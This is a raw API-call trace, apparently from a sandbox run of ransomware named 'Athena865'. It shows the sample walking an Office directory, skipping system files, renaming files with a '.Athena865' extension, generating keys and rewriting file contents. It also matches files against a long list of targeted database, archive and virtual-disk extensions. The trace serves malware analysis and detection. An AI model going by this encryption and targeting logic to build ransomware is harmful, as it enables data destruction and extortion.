[0074.014] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0074.014] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0074.015] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0074.015] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0074.015] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4de80, lpName=0x0) returned 0x17c [0074.017] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4de80) returned 0x2d50000 [0074.071] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0074.072] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0074.072] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0074.072] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0074.072] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0074.072] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0074.072] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0074.072] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0074.073] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0074.073] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0074.073] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0074.073] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0074.073] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0074.073] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0074.076] CloseHandle (hObject=0x17c) returned 1 [0074.076] CloseHandle (hObject=0x154) returned 1 [0074.076] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0074.076] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0074.076] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0074.077] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7e2cf00, ftCreationTime.dwHighDateTime=0x1c21319, ftLastAccessTime.dwLowDateTime=0x66220ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb7e2cf00, ftLastWriteTime.dwHighDateTime=0x1c21319, nFileSizeHigh=0x0, nFileSizeLow=0x499c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="JFONT.DAT", cAlternateFileName="")) returned 1 [0074.077] lstrcmpiW (lpString1="JFONT.DAT", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0074.077] lstrcmpiW (lpString1="JFONT.DAT", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0074.077] lstrcmpiW (lpString1="JFONT.DAT", lpString2=".") returned 1 [0074.077] lstrcmpiW (lpString1="JFONT.DAT", lpString2="..") returned 1 [0074.077] lstrcmpiW (lpString1="JFONT.DAT", lpString2="windows") returned -1 [0074.077] lstrcmpiW (lpString1="JFONT.DAT", lpString2="bootmgr") returned 1 [0074.077] lstrcmpiW (lpString1="JFONT.DAT", lpString2="temp") returned -1 [0074.077] lstrcmpiW (lpString1="JFONT.DAT", lpString2="pagefile.sys") returned -1 [0074.077] lstrcmpiW (lpString1="JFONT.DAT", lpString2="boot") returned 1 [0074.077] lstrcmpiW (lpString1="JFONT.DAT", lpString2="ids.txt") returned 1 [0074.078] lstrcmpiW (lpString1="JFONT.DAT", lpString2="ntuser.dat") returned -1 [0074.078] lstrcmpiW (lpString1="JFONT.DAT", lpString2="perflogs") returned -1 [0074.078] lstrcmpiW (lpString1="JFONT.DAT", lpString2="MSBuild") returned -1 [0074.078] lstrlenW (lpString="JFONT.DAT") returned 9 [0074.078] lstrcpyW (in: lpString1=0x241e89e, lpString2="JFONT.DAT" | out: lpString1="JFONT.DAT") returned="JFONT.DAT" [0074.078] lstrlenW (lpString="JFONT.DAT") returned 9 [0074.078] lstrlenW (lpString="Athena865") returned 9 [0074.078] lstrlenW (lpString=".dll") returned 4 [0074.078] lstrcmpiW (lpString1="JFONT.DAT", lpString2=".dll") returned 1 [0074.078] lstrlenW (lpString=".lnk") returned 4 [0074.078] lstrcmpiW (lpString1="JFONT.DAT", lpString2=".lnk") returned 1 [0074.078] lstrlenW (lpString=".ini") returned 4 [0074.078] lstrcmpiW (lpString1="JFONT.DAT", lpString2=".ini") returned 1 [0074.078] lstrlenW (lpString=".sys") returned 4 [0074.078] lstrcmpiW (lpString1="JFONT.DAT", lpString2=".sys") returned 1 [0074.078] lstrlenW (lpString="JFONT.DAT") returned 9 [0074.078] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\JFONT.DAT.Athena865") returned 62 [0074.078] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\JFONT.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\jfont.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\JFONT.DAT.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\jfont.dat.athena865"), dwFlags=0x1) returned 1 [0074.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\JFONT.DAT.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\jfont.dat.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0074.103] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=18844) returned 1 [0074.103] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0074.103] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0074.103] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0074.103] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0074.104] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0074.104] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0074.104] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4ca0, lpName=0x0) returned 0x17c [0074.106] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4ca0) returned 0x100000 [0074.108] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0074.108] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0074.108] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0074.108] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0074.109] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0074.109] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0074.109] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0074.109] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0074.109] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0074.109] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0074.109] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0074.109] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0074.109] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0074.109] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0074.109] CloseHandle (hObject=0x17c) returned 1 [0074.109] CloseHandle (hObject=0x154) returned 1 [0074.109] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0074.109] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0074.110] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0074.110] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3ce9100, ftCreationTime.dwHighDateTime=0x1c21319, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc3ce9100, ftLastWriteTime.dwHighDateTime=0x1c21319, nFileSizeHigh=0x0, nFileSizeLow=0x89e6e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LATIN1.SHP", cAlternateFileName="")) returned 1 [0074.110] lstrcmpiW (lpString1="LATIN1.SHP", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0074.110] lstrcmpiW (lpString1="LATIN1.SHP", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0074.110] lstrcmpiW (lpString1="LATIN1.SHP", lpString2=".") returned 1 [0074.110] lstrcmpiW (lpString1="LATIN1.SHP", lpString2="..") returned 1 [0074.110] lstrcmpiW (lpString1="LATIN1.SHP", lpString2="windows") returned -1 [0074.110] lstrcmpiW (lpString1="LATIN1.SHP", lpString2="bootmgr") returned 1 [0074.110] lstrcmpiW (lpString1="LATIN1.SHP", lpString2="temp") returned -1 [0074.110] lstrcmpiW (lpString1="LATIN1.SHP", lpString2="pagefile.sys") returned -1 [0074.110] lstrcmpiW (lpString1="LATIN1.SHP", lpString2="boot") returned 1 [0074.110] lstrcmpiW (lpString1="LATIN1.SHP", lpString2="ids.txt") returned 1 [0074.110] lstrcmpiW (lpString1="LATIN1.SHP", lpString2="ntuser.dat") returned -1 [0074.110] lstrcmpiW (lpString1="LATIN1.SHP", lpString2="perflogs") returned -1 [0074.110] lstrcmpiW (lpString1="LATIN1.SHP", lpString2="MSBuild") returned -1 [0074.110] lstrlenW (lpString="LATIN1.SHP") returned 10 [0074.110] lstrcpyW (in: lpString1=0x241e89e, lpString2="LATIN1.SHP" | out: lpString1="LATIN1.SHP") returned="LATIN1.SHP" [0074.110] lstrlenW (lpString="LATIN1.SHP") returned 10 [0074.110] lstrlenW (lpString="Athena865") returned 9 [0074.110] lstrcmpiW (lpString1="ATIN1.SHP", lpString2="Athena865") returned 1 [0074.110] lstrlenW (lpString=".dll") returned 4 [0074.110] lstrcmpiW (lpString1="LATIN1.SHP", lpString2=".dll") returned 1 [0074.110] lstrlenW (lpString=".lnk") returned 4 [0074.110] lstrcmpiW (lpString1="LATIN1.SHP", lpString2=".lnk") returned 1 [0074.111] lstrlenW (lpString=".ini") returned 4 [0074.111] lstrcmpiW (lpString1="LATIN1.SHP", lpString2=".ini") returned 1 [0074.111] lstrlenW (lpString=".sys") returned 4 [0074.111] lstrcmpiW (lpString1="LATIN1.SHP", lpString2=".sys") returned 1 [0074.111] lstrlenW (lpString="LATIN1.SHP") returned 10 [0074.111] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP.Athena865") returned 63 [0074.111] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP" (normalized: "c:\\program files\\microsoft office\\office14\\latin1.shp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\latin1.shp.athena865"), dwFlags=0x1) returned 1 [0074.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\latin1.shp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0074.116] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=564846) returned 1 [0074.116] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0074.116] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0074.116] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0074.116] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0074.117] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0074.117] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0074.117] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8a170, lpName=0x0) returned 0x17c [0074.118] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8a170) returned 0x2d50000 [0074.165] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0074.166] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0074.166] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0074.166] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0074.166] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0074.167] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0074.167] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0074.167] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0074.167] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0074.167] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0074.167] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0074.167] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0074.167] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0074.167] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0074.172] CloseHandle (hObject=0x17c) returned 1 [0074.172] CloseHandle (hObject=0x154) returned 1 [0074.172] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0074.172] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0074.172] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0074.175] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd5d88a60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xaa570, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LGND.DLL", cAlternateFileName="")) returned 1 [0074.175] lstrcmpiW (lpString1="LGND.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0074.175] lstrcmpiW (lpString1="LGND.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0074.175] lstrcmpiW (lpString1="LGND.DLL", lpString2=".") returned 1 [0074.175] lstrcmpiW (lpString1="LGND.DLL", lpString2="..") returned 1 [0074.175] lstrcmpiW (lpString1="LGND.DLL", lpString2="windows") returned -1 [0074.175] lstrcmpiW (lpString1="LGND.DLL", lpString2="bootmgr") returned 1 [0074.175] lstrcmpiW (lpString1="LGND.DLL", lpString2="temp") returned -1 [0074.175] lstrcmpiW (lpString1="LGND.DLL", lpString2="pagefile.sys") returned -1 [0074.175] lstrcmpiW (lpString1="LGND.DLL", lpString2="boot") returned 1 [0074.175] lstrcmpiW (lpString1="LGND.DLL", lpString2="ids.txt") returned 1 [0074.175] lstrcmpiW (lpString1="LGND.DLL", lpString2="ntuser.dat") returned -1 [0074.175] lstrcmpiW (lpString1="LGND.DLL", lpString2="perflogs") returned -1 [0074.175] lstrcmpiW (lpString1="LGND.DLL", lpString2="MSBuild") returned -1 [0074.175] lstrlenW (lpString="LGND.DLL") returned 8 [0074.175] lstrcpyW (in: lpString1=0x241e89e, lpString2="LGND.DLL" | out: lpString1="LGND.DLL") returned="LGND.DLL" [0074.175] lstrlenW (lpString="LGND.DLL") returned 8 [0074.175] lstrlenW (lpString="Athena865") returned 9 [0074.175] lstrlenW (lpString=".dll") returned 4 [0074.175] lstrcmpiW (lpString1="LGND.DLL", lpString2=".dll") returned 1 [0074.175] lstrlenW (lpString=".lnk") returned 4 [0074.175] lstrcmpiW (lpString1="LGND.DLL", lpString2=".lnk") returned 1 [0074.175] lstrlenW (lpString=".ini") returned 4 [0074.175] lstrcmpiW (lpString1="LGND.DLL", lpString2=".ini") returned 1 [0074.175] lstrlenW (lpString=".sys") returned 4 [0074.175] lstrcmpiW (lpString1="LGND.DLL", lpString2=".sys") returned 1 [0074.175] lstrlenW (lpString="LGND.DLL") returned 8 [0074.175] lstrlenW (lpString="bak") returned 3 [0074.175] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0074.176] lstrlenW (lpString="ba_") returned 3 [0074.176] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0074.176] lstrlenW (lpString="dbb") returned 3 [0074.176] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0074.176] lstrlenW (lpString="vmdk") returned 4 [0074.176] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0074.176] lstrlenW (lpString="rar") returned 3 [0074.176] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0074.176] lstrlenW (lpString="zip") returned 3 [0074.176] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0074.176] lstrlenW (lpString="tgz") returned 3 [0074.176] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0074.176] lstrlenW (lpString="vbox") returned 4 [0074.176] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0074.176] lstrlenW (lpString="vdi") returned 3 [0074.176] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0074.176] lstrlenW (lpString="vhd") returned 3 [0074.176] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0074.176] lstrlenW (lpString="vhdx") returned 4 [0074.176] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0074.176] lstrlenW (lpString="avhd") returned 4 [0074.176] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0074.176] lstrlenW (lpString="db") returned 2 [0074.176] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0074.176] lstrlenW (lpString="db2") returned 3 [0074.176] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0074.176] lstrlenW (lpString="db3") returned 3 [0074.176] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0074.176] lstrlenW (lpString="dbf") returned 3 [0074.176] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0074.176] lstrlenW (lpString="mdf") returned 3 [0074.176] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0074.176] lstrlenW (lpString="mdb") returned 3 [0074.177] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0074.177] lstrlenW (lpString="sql") returned 3 [0074.177] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0074.177] lstrlenW (lpString="sqlite") returned 6 [0074.177] lstrcmpiW (lpString1="ND.DLL", lpString2="sqlite") returned -1 [0074.177] lstrlenW (lpString="sqlite3") returned 7 [0074.177] lstrcmpiW (lpString1="GND.DLL", lpString2="sqlite3") returned -1 [0074.177] lstrlenW (lpString="sqlitedb") returned 8 [0074.177] lstrlenW (lpString="xml") returned 3 [0074.177] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0074.177] lstrlenW (lpString="$er") returned 3 [0074.177] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0074.177] lstrlenW (lpString="4dd") returned 3 [0074.177] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0074.177] lstrlenW (lpString="4dl") returned 3 [0074.177] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0074.177] lstrlenW (lpString="^^^") returned 3 [0074.177] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0074.177] lstrlenW (lpString="abs") returned 3 [0074.177] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0074.177] lstrlenW (lpString="abx") returned 3 [0074.177] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0074.177] lstrlenW (lpString="accdb") returned 5 [0074.177] lstrcmpiW (lpString1="D.DLL", lpString2="accdb") returned 1 [0074.177] lstrlenW (lpString="accdc") returned 5 [0074.177] lstrcmpiW (lpString1="D.DLL", lpString2="accdc") returned 1 [0074.177] lstrlenW (lpString="accde") returned 5 [0074.177] lstrcmpiW (lpString1="D.DLL", lpString2="accde") returned 1 [0074.177] lstrlenW (lpString="accdr") returned 5 [0074.177] lstrcmpiW (lpString1="D.DLL", lpString2="accdr") returned 1 [0074.177] lstrlenW (lpString="accdt") returned 5 [0074.177] lstrcmpiW (lpString1="D.DLL", lpString2="accdt") returned 1 [0074.178] lstrlenW (lpString="accdw") returned 5 [0074.178] lstrcmpiW (lpString1="D.DLL", lpString2="accdw") returned 1 [0074.178] lstrlenW (lpString="accft") returned 5 [0074.178] lstrcmpiW (lpString1="D.DLL", lpString2="accft") returned 1 [0074.178] lstrlenW (lpString="adb") returned 3 [0074.178] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0074.178] lstrlenW (lpString="adb") returned 3 [0074.178] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0074.178] lstrlenW (lpString="ade") returned 3 [0074.178] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0074.178] lstrlenW (lpString="adf") returned 3 [0074.178] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0074.178] lstrlenW (lpString="adn") returned 3 [0074.178] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0074.178] lstrlenW (lpString="adp") returned 3 [0074.178] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0074.178] lstrlenW (lpString="alf") returned 3 [0074.178] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0074.178] lstrlenW (lpString="ask") returned 3 [0074.178] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0074.178] lstrlenW (lpString="btr") returned 3 [0074.178] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0074.178] lstrlenW (lpString="cat") returned 3 [0074.178] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0074.178] lstrlenW (lpString="cdb") returned 3 [0074.178] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0074.178] lstrlenW (lpString="ckp") returned 3 [0074.178] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0074.178] lstrlenW (lpString="cma") returned 3 [0074.178] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0074.178] lstrlenW (lpString="cpd") returned 3 [0074.178] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0074.178] lstrlenW (lpString="dacpac") returned 6 [0074.179] lstrcmpiW (lpString1="ND.DLL", lpString2="dacpac") returned 1 [0074.179] lstrlenW (lpString="dad") returned 3 [0074.179] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0074.179] lstrlenW (lpString="dadiagrams") returned 10 [0074.179] lstrlenW (lpString="daschema") returned 8 [0074.179] lstrlenW (lpString="db-journal") returned 10 [0074.179] lstrlenW (lpString="db-shm") returned 6 [0074.179] lstrcmpiW (lpString1="ND.DLL", lpString2="db-shm") returned 1 [0074.179] lstrlenW (lpString="db-wal") returned 6 [0074.179] lstrcmpiW (lpString1="ND.DLL", lpString2="db-wal") returned 1 [0074.179] lstrlenW (lpString="dbc") returned 3 [0074.179] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0074.179] lstrlenW (lpString="dbs") returned 3 [0074.179] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0074.179] lstrlenW (lpString="dbt") returned 3 [0074.179] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0074.179] lstrlenW (lpString="dbv") returned 3 [0074.179] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0074.179] lstrlenW (lpString="dbx") returned 3 [0074.179] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0074.179] lstrlenW (lpString="dcb") returned 3 [0074.179] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0074.179] lstrlenW (lpString="dct") returned 3 [0074.179] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0074.179] lstrlenW (lpString="dcx") returned 3 [0074.179] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0074.179] lstrlenW (lpString="ddl") returned 3 [0074.179] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0074.179] lstrlenW (lpString="dlis") returned 4 [0074.179] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0074.179] lstrlenW (lpString="dp1") returned 3 [0074.179] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0074.179] lstrlenW (lpString="dqy") returned 3 [0074.180] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0074.180] lstrlenW (lpString="dsk") returned 3 [0074.180] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0074.180] lstrlenW (lpString="dsn") returned 3 [0074.180] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0074.180] lstrlenW (lpString="dtsx") returned 4 [0074.180] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0074.180] lstrlenW (lpString="dxl") returned 3 [0074.180] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0074.181] lstrlenW (lpString="eco") returned 3 [0074.182] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0074.182] lstrlenW (lpString="ecx") returned 3 [0074.182] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0074.182] lstrlenW (lpString="edb") returned 3 [0074.182] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0074.182] lstrlenW (lpString="epim") returned 4 [0074.182] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 